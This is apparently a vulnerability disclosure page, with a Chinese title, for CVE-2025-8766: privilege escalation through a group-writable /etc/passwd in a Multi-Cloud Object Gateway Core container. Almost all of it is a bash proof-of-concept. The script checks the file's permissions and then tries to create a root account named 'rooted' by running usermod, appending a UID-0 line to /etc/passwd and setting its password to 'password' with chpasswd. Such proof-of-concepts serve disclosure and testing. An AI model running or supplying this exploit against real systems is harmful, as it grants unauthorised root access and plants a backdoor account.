CVE-2025-8766 Multi-Cloud Object Gateway Core容器/etc/passwd权限提升漏洞

#!/bin/bash # CVE-2025-8766 PoC - Container Privilege Escalation via /etc/passwd # This PoC demonstrates how a non-root user can gain root privileges # by modifying /etc/passwd when it has group-writable permissions echo "[+] CVE-2025-8766 Container Privilege Escalation PoC" echo "[+] Checking /etc/passwd permissions..." # Check current user CURRENT_USER=$(whoami) CURRENT_UID=$(id -u) CURRENT_GID=$(id -g) echo "[*] Current user: $CURRENT_USER (UID: $CURRENT_UID, GID: $CURRENT_GID)" # Check /etc/passwd permissions PASSWD_PERMS=$(stat -c '%a' /etc/passwd 2>/dev/null || stat -f '%Lp' /etc/passwd 2>/dev/null) echo "[*] /etc/passwd permissions: $PASSWD_PERMS" # Check if /etc/passwd is group-writable if [[ "$PASSWD_PERMS" == *"2"* ]] || [[ "$PASSWD_PERMS" == *"6"* ]] || [[ "$PASSWD_PERMS" == *"7"* ]]; then echo "[+] /etc/passwd is group-writable - vulnerability may be present" else echo "[-] /etc/passwd is not group-writable - this system may not be vulnerable" fi # Create new root user echo "[+] Attempting to create root user..." # Generate a password hash (empty password for demonstration) # In real attack, use: openssl passwd -1 -salt abc123 'password' NEW_USER="rooted" echo "[*] Adding new user with UID 0..." # Method 1: Using usermod (if available) if command -v usermod &> /dev/null; then usermod -u 0 -o -g 0 -G root $NEW_USER 2>/dev/null && echo "[+] User modified successfully with usermod" fi # Method 2: Direct /etc/passwd manipulation echo "[*] Alternatively, manually adding to /etc/passwd..." echo "${NEW_USER}:x:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null && echo "[+] Entry added to /etc/passwd" # Set password for the new user echo "rooted:password" | chpasswd 2>/dev/null && echo "[+] Password set for new user" echo "[+] PoC completed. Try: su rooted"